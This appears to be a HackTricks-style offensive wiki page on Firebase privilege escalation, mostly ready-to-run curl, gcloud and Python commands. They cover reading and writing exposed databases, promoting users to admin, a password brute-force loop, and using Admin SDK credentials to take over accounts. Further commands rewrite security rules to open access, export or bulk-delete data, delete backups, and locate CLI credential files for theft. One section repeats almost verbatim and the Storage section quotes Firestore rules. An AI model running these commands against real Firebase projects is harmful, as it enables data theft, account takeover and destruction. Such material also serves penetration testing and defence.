# GCP - Firebase Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Firebase

### Unauthenticated access to Firebase Realtime Database
An attacker does not need any specific Firebase permissions to carry out this attack. It only requires that there is a vulnerable configuration in the Firebase Realtime Database security rules, where the rules are set with `.read: true` or `.write: true`, allowing public read or write access.

The attacker must identify the database URL, which typically follows the format: `https://<project-id>.firebaseio.com/`.

This URL can be found through mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), analyzing configuration files such as google-services.json (Android) or GoogleService-Info.plist (iOS), inspecting the source code of web applications, or examining network traffic to identify requests to `*.firebaseio.com` domains.

The attacker identifies the database URL and checks whether it is publicly exposed, then accesses the data and potentially writes malicious information.

First, they check whether the database allows read access by appending .json to the URL.

```bash
curl https://<project-id>-default-rtdb.firebaseio.com/.json
```

If the response contains JSON data or null (instead of "Permission Denied"), the database allows read access. To check write access, the attacker can attempt to send a test write request using the Firebase REST API.
```bash
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
```
If the operation succeeds, the database also allows write access.


### Exposure of data in Cloud Firestore
An attacker does not need any specific Firebase permissions to carry out this attack. It only requires that there is a vulnerable configuration in the Cloud Firestore security rules where the rules allow read or write access without authentication or with insufficient validation. An example of a misconfigured rule that grants full access is:
```bash
service cloud.firestore {
  match /databases/{database}/documents/{document=**} {
    allow read, write: if true;
  }
}
```
This rule allows anyone to read and write all documents without any restrictions. Firestore rules are granular and apply per collection and document, so an error in a specific rule may expose only certain collections.

The attacker must identify the Firebase Project ID, which can be found through mobile app reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspecting the source code of web applications, or analyzing network traffic to identify requests to firestore.googleapis.com.
The Firestore REST API uses the format:
```bash
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```

If the rules allow unauthenticated read access, the attacker can read collections and documents. First, they attempt to access a specific collection:

```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
```

If the response contains JSON documents instead of a permission error, the collection is exposed. The attacker can enumerate all accessible collections by trying common names or analyzing the structure of the application. To access a specific document:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```

If the rules allow unauthenticated write access or have insufficient validation, the attacker can create new documents:
```bash
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
  -H "Content-Type: application/json" \
  -d '{
    "fields": {
      "name": {"stringValue": "Test"},
      "email": {"stringValue": "test@example.com"}
    }
  }'
```

Para modificar un documento existente se debe utilizar PATCH:
```bash
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
  -H "Content-Type: application/json" \
  -d '{
    "fields": {
      "role": {"stringValue": "admin"}
    }
  }'
```
Para eliminar un documento y causar denegación de servicio:
```bash
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```


### Exposure of files in Firebase Storage
An attacker does not need any specific Firebase permissions to carry out this attack. It only requires that there is a vulnerable configuration in the Firebase Storage security rules where the rules allow read or write access without authentication or with insufficient validation. Storage rules control read and write permissions independently, so an error in a rule may expose read access only, write access only, or both. An example of a misconfigured rule that grants full access is:
```bash
service cloud.firestore {
  match /databases/{database}/documents/{document=**} {
    allow read, write: if true;
  }
}
```
This rule allows read and write access to all documents without any restrictions. Firestore rules are granular and are applied per collection and per document, so an error in a specific rule may expose only certain collections. The attacker must identify the Firebase Project ID, which can be found through mobile application reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspection of web application source code, or network traffic analysis to identify requests to firestore.googleapis.com.
The Firestore REST API uses the format:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`

If the rules allow unauthenticated read access, the attacker can read collections and documents. First, they attempt to access a specific collection.
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
```
If the response contains the list of files instead of a permission error, the file is exposed. The attacker can view the contents of the files by specifying their path:
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
```

If the rules allow unauthenticated write access or have insufficient validation, the attacker can upload malicious files. To upload a file through the REST API:
```bash
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
  -H "Content-Type: <content-type>" \
  --data-binary @<local-file>
```
The attacker can upload code shells, malware payloads, or large files to cause a denial of service. If the application processes or executes uploaded files, the attacker may achieve remote code execution. To delete files and cause a denial of service:
```bash
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
```


### Invocation of public Firebase Cloud Functions
An attacker does not need any specific Firebase permissions to exploit this issue; it only requires that a Cloud Function is publicly accessible over HTTP without authentication.

A function is vulnerable when it is insecurely configured:

- It uses functions.https.onRequest, which does not enforce authentication (unlike onCall functions).
- The function’s code does not validate user authentication (e.g., no checks for request.auth or context.auth).
- The function is publicly accessible in IAM, meaning allUsers has the roles/cloudfunctions.invoker role. This is the default behavior for HTTP functions unless the developer restricts access.

Firebase HTTP Cloud Functions are exposed through URLs such as:

- `https://<region>-<project-id>.cloudfunctions.net/<function-name>`
- `https://<project-id>.web.app/<function-name>` (when integrated with Firebase Hosting)

An attacker can discover these URLs through source code analysis, network traffic inspection, enumeration tools, or mobile app reverse engineering.
If the function is publicly exposed and unauthenticated, the attacker can invoke it directly without credentials.

```bash
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
  -H "Content-Type: application/json" \
  -d '{"param1": "value1", "param2": "value2"}'
```
If the function does not properly validate inputs, the attacker may attempt other attacks such as code injection or command injection.


### Brute-force attack against Firebase Authentication with a weak password policy
An attacker does not need any specific Firebase permissions to carry out this attack. It only requires that the Firebase API Key is exposed in mobile or web applications, and that the password policy has not been configured with stricter requirements than the defaults.

The attacker must identify the Firebase API Key, which can be found through mobile app reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspecting the source code of web applications (e.g., in bootstrap.js), or analyzing network traffic.

Firebase Authentication’s REST API uses the endpoint:
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
to authenticate with email and password.

If Email Enumeration Protection is disabled, API error responses can reveal whether an email exists in the system (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), which allows attackers to enumerate users before attempting password guessing. When this protection is enabled, the API returns the same error message for both nonexistent emails and incorrect passwords, preventing user enumeration.

It is important to note that Firebase Authentication enforces rate limiting, which can block requests if too many authentication attempts occur in a short time. Because of this, an attacker would have to introduce delays between attempts to avoid being rate-limited.

The attacker identifies the API Key and performs authentication attempts with multiple passwords against known accounts. If Email Enumeration Protection is disabled, the attacker can enumerate existing users by analyzing the error responses:
```bash
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "usuario@example.com",
    "password": "password",
    "returnSecureToken": true
  }'
```

If the response contains EMAIL_NOT_FOUND, the email does not exist in the system. If it contains INVALID_PASSWORD, the email exists but the password is incorrect, confirming that the user is registered. Once a valid user is identified, the attacker can perform brute-force attempts. It is important to include pauses between attempts to avoid Firebase Authentication’s rate-limiting mechanisms:
```bash
counter=1
for password in $(cat wordlist.txt); do
  echo "Intento $counter: probando contraseña '$password'"
  response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

  if echo "$response" | grep -q "idToken"; then
    echo "Contraseña encontrada: $password (intento $counter)"
    break
  fi

  # Stop for the rate limiting
  sleep 1
  counter=$((counter + 1))
done
```
With the default password policy (minimum 6 characters, no complexity requirements), the attacker can try all possible combinations of 6-character passwords, which represents a relatively small search space compared to stricter password policies.

### User management in Firebase Authentication

The attacker needs specific Firebase Authentication permissions to carry out this attack. The required permissions are:

- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
- `firebaseauth.users.delete` to delete users
- `firebaseauth.users.get` to retrieve user information
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions

These permissions are included in the `roles/firebaseauth.admin` role, which grants full read/write access to Firebase Authentication resources. They are also included in higher-level roles such as roles/firebase.developAdmin (which includes all firebaseauth.* permissions) and roles/firebase.admin (full access to all Firebase services).

To use the Firebase Admin SDK, the attacker would need access to service account credentials (JSON file), which might be found on compromised systems, publicly exposed code repositories, compromised CI/CD systems, or through the compromise of developer accounts that have access to these credentials.

The first step is to configure the Firebase Admin SDK using service account credentials.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
To create a malicious user using a victim’s email, the attacker would attempt to use the Firebase Admin SDK to generate a new account under that email.
```bash
user = auth.create_user(
    email='victima@example.com',
    email_verified=False,
    password='password123',
    display_name='Usuario Malicioso',
    disabled=False
)
print(f'Usuario creado: {user.uid}')
```
To modify an existing user, the attacker would update fields such as the email address, verification status, or whether the account is disabled.
```bash
user = auth.update_user(
    uid,
    email='nuevo-email@example.com',
    email_verified=True,
    disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
To delete a user account and cause a denial of service, the attacker would issue a request to remove the user entirely.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
The attacker can also retrieve information about existing users by requesting their UID or email address.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Additionally, the attacker could generate verification links or password-reset links in order to change a user’s password and gain access to their account.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```

### User management in Firebase Authentication
An attacker needs specific Firebase Authentication permissions to carry out this attack. The required permissions are:

- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
- `firebaseauth.users.delete` to delete users
- `firebaseauth.users.get` to obtain user information
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions

These permissions are included in the roles/firebaseauth.admin role, which grants full read/write access to Firebase Authentication resources. They are also part of higher-level roles such as `roles/firebase.developAdmin` (which includes all firebaseauth.* permissions) and `roles/firebase.admin` (full access to all Firebase services).

To use the Firebase Admin SDK, the attacker would need access to service account credentials (a JSON file), which could be obtained from compromised systems, publicly exposed code repositories, compromised CI/CD environments, or through the compromise of developer accounts that have access to these credentials.

The first step is to configure the Firebase Admin SDK using service account credentials.
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
To create a malicious user using a victim’s email, the attacker would attempt to create a new user account with that email, assigning their own password and profile information.
```bash
user = auth.create_user(
    email='victima@example.com',
    email_verified=False,
    password='password123',
    display_name='Usuario Malicioso',
    disabled=False
)
print(f'Usuario creado: {user.uid}')
```
To modify an existing user, the attacker would change fields such as the email address, verification status, or whether the account is disabled.
```bash
user = auth.update_user(
    uid,
    email='nuevo-email@example.com',
    email_verified=True,
    disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
To delete a user account—effectively causing a denial of service—the attacker would issue a request to remove that user permanently.
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
The attacker could also retrieve information about existing users, such as their UID or email, by requesting user details either by UID or by email address.
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
Additionally, the attacker could generate verification links or password-reset links, enabling them to change the password of a user and take control of the account.
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```

### Modification of security rules in Firebase services
The attacker needs specific permissions to modify security rules depending on the service. For Cloud Firestore and Firebase Cloud Storage, the required permissions are `firebaserules.rulesets.create` to create rulesets and `firebaserules.releases.create` to deploy releases. These permissions are included in the `roles/firebaserules.admin` role or in higher-level roles such as `roles/firebase.developAdmin` and `roles/firebase.admin`. For Firebase Realtime Database, the required permission is `firebasedatabase.instances.update`.

The attacker must use the Firebase REST API to modify the security rules.
First, the attacker would need to obtain an access token using service account credentials.
To obtain the token:
```bash
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
```

To modify Firebase Realtime Database rules:
```bash
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "rules": {
      ".read": true,
      ".write": true
    }
  }'
```
To modify Cloud Firestore rules, the attacker must create a ruleset and then deploy it:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "source": {
      "files": [{
        "name": "firestore.rules",
        "content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
      }]
    }
  }'
```
The previous command returns a ruleset name in the format projects/<project-id>/rulesets/<ruleset-id>. To deploy the new version, the release must be updated using a PATCH request:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "release": {
      "name": "projects/<project-id>/releases/cloud.firestore",
      "rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
    }
  }'
```
To modify Firebase Cloud Storage rules:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "source": {
      "files": [{
        "name": "storage.rules",
        "content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
      }]
    }
  }'
```
The previous command returns a ruleset name in the format projects/<project-id>/rulesets/<ruleset-id>. To deploy the new version, the release must be updated using a PATCH request:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "release": {
      "name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
      "rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
    }
  }'
```

### Data exfiltration and manipulation in Cloud Firestore
Cloud Firestore uses the same infrastructure and permission system as Cloud Datastore, so Datastore IAM permissions apply directly to Firestore. To manipulate TTL policies, the `datastore.indexes.update` permission is required. To export data, the `datastore.databases.export` permission is required. To import data, the datastore.databases.import permission is required. To perform bulk data deletion, the `datastore.databases.bulkDelete` permission is required.

For backup and restore operations, specific permissions are needed:

- `datastore.backups.get` and `datastore.backups.list` to list and retrieve details of available backups
- `datastore.backups.delete` to delete backups
- `datastore.backups.restoreDatabase` to restore a database from a backup
- `datastore.backupSchedules.create` and `datastore.backupSchedules.delete` to manage backup schedules

When a TTL policy is created, a designated property is selected to identify entities that are eligible for deletion. This TTL property must be of the Date and time type. The attacker can choose a property that already exists or designate a property that they plan to add later. If the value of the field is a date in the past, the document becomes eligible for immediate deletion. The attacker can use the gcloud CLI to manipulate TTL policies.
```bash
# Enable TTL 
gcloud firestore fields ttls update expireAt \
  --collection-group=users \
  --enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
  --collection-group=users \
  --disable-ttl
```
To export data and exfiltrate it, the attacker could use the gcloud CLI.
```bash
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
```

To import malicious data:
```bash
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
```

To perform mass data deletion and cause a denial of service, the attacker could use the gcloud Firestore bulk-delete tool to remove entire collections.
```bash
gcloud firestore bulk-delete \
  --collection-ids=users,posts,messages \
  --database='(default)' \
  --project=<project-id>
```
For backup and restoration operations, the attacker could create scheduled backups to capture the current state of the database, list existing backups, restore from a backup to overwrite recent changes, delete backups to cause permanent data loss, and remove scheduled backups.
To create a daily backup schedule that immediately generates a backup:
```bash
gcloud firestore backups schedules create \
  --database='(default)' \
  --recurrence=daily \
  --retention=14w \
  --project=<project-id>
```
To restore from a specific backup, the attacker could create a new database using the data contained in that backup. The restore operation writes the backup’s data into a new database, meaning that an existing DATABASE_ID cannot be used.
```bash
gcloud firestore databases restore \
  --source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
  --destination-database='<new-database-id>' \
  --project=<project-id>
```
To delete a backup and cause permanent data loss:
```bash
gcloud firestore backups delete \
  --backup=<backup-id> \
  --project=<project-id>
```

### Theft and misuse of Firebase CLI credentials
An attacker does not need specific Firebase permissions to carry out this attack, but they do need access to the developer’s local system or to the Firebase CLI credentials file. These credentials are stored in a JSON file located at:

- Linux/macOS: ~/.config/configstore/firebase-tools.json

- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json

This file contains authentication tokens, including the refresh_token and access_token, which allow the attacker to authenticate as the user who originally ran firebase login.

The attacker gains access to the Firebase CLI credentials file. They can then copy the entire file to their own system, and the Firebase CLI will automatically use the credentials from its default location. After doing so, the attacker can view all Firebase projects accessible to that user.
```bash
firebase projects:list
```

{{#include ../../../banners/hacktricks-training.md}}


